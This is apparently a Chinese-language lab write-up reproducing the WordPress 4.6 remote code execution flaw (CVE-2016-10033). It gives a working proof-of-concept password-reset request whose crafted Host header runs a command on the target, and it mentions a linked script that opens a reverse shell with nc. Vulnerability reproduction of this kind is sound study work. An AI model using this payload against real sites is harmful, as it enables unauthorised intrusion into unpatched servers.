WordPress _v4.6远程代码执行漏洞复现

2018-03-28 15:19:40 浏览数 (1)

reborn

WordPress _v4.6远程代码执行漏洞是PHPMailer漏洞(CVE-2016-10033)在WordPress Core代码的体现,远程攻击者可以利用该漏洞执行代码。

基础环境

1.WordPress _v4.6源码。

2.Kali虚拟机两台,一台搭建web环境靶机,一台作为攻击机。

源码部署过程

环境是LAMP WordPress,这边是直接使用了kali的集成环境,使用其他linux版本的小伙伴也可自行搭建环境。

1.在kali启动apache和mysql服务

sudo /etc/init.d/apache2 start

sudo /etc/init.d/mysql start

2.创建数据库

启用完后在mysql里面创建一个数据库wordpress_db用来存放WordPress产生的数据。

mysql -u root -p #输入密码进入数据库,kaili默认密码为空

mysql > status; #检查联通性

mysql > create database wordpress_db; #创建一个wordpress_db 的数据库

mysql > show databases; #查看数据库

3.下载配置WordPress源码,下面是百度云盘下载地址链接。

链接:http://pan.baidu.com/s/1boWN7HH 密码:ewcm。

下载解压,copy文件至/var/www/html/目录下。

然后我们去访问这个网站,http://ip/wordpress,我本机ip是192.168.159.130。

这时有的机子会提示无法创建wp-config.php文件,我们手动创建wp-config.php,将上图蓝色部分的配置代码复制到wp-config.php文件里,保存之后,回到浏览器点击Run the install。

上图提示我们注册wordpress账号并完成安装。

看到上面Success就是安装成功。

漏洞复现过程

1.WordPress部署成功了,我们访问登陆模块,有一个忘记密码的链接。

开启Burp 代理拦截功能。

为了便于修改攻击请求包,我们将请求包发送到Burp repeater模块。

下面是漏洞PoC HTTP请求:

POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1

Host: host_address(tmp1 -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}test}} tmp2)

Content-Type: application/x-www-form-urlencoded

Content-Length: 56

user_login=admin&redirect_to=&wp-submit=Get New Password

这个PoC代码的意思是在靶机环境的/tmp目录下创建一个test文件。我们在靶机上查看创建成功与否。

我们可以在/tmp目录看到由www-data用户创建的test文件,说明代码执行成功。基于这个逻辑,我们可以编写一个PoC脚本写入代码来反弹shell。

下面就是编写好的脚本,百度云盘地址:

链接:http://pan.baidu.com/s/1gfmo1wB 密码:cfmr。

将3.sh脚本下载下来放到攻击机的kali上,执行该脚本。我攻击kali的ip是192.168.159.131,靶机是192.168.159.130,过程如下图:

总结

关于漏洞原理,我们可以查看360安全课的文章http://m.bobao.360.cn/news/detail/4146.html 学习,最后的攻击脚本也在原文给出的脚本进行了修改简化,反弹shell的方式利用了nc,另外,攻击机如果不是使用kali而是其他linux版本时,需要确保安装了python的环境。

0 人点赞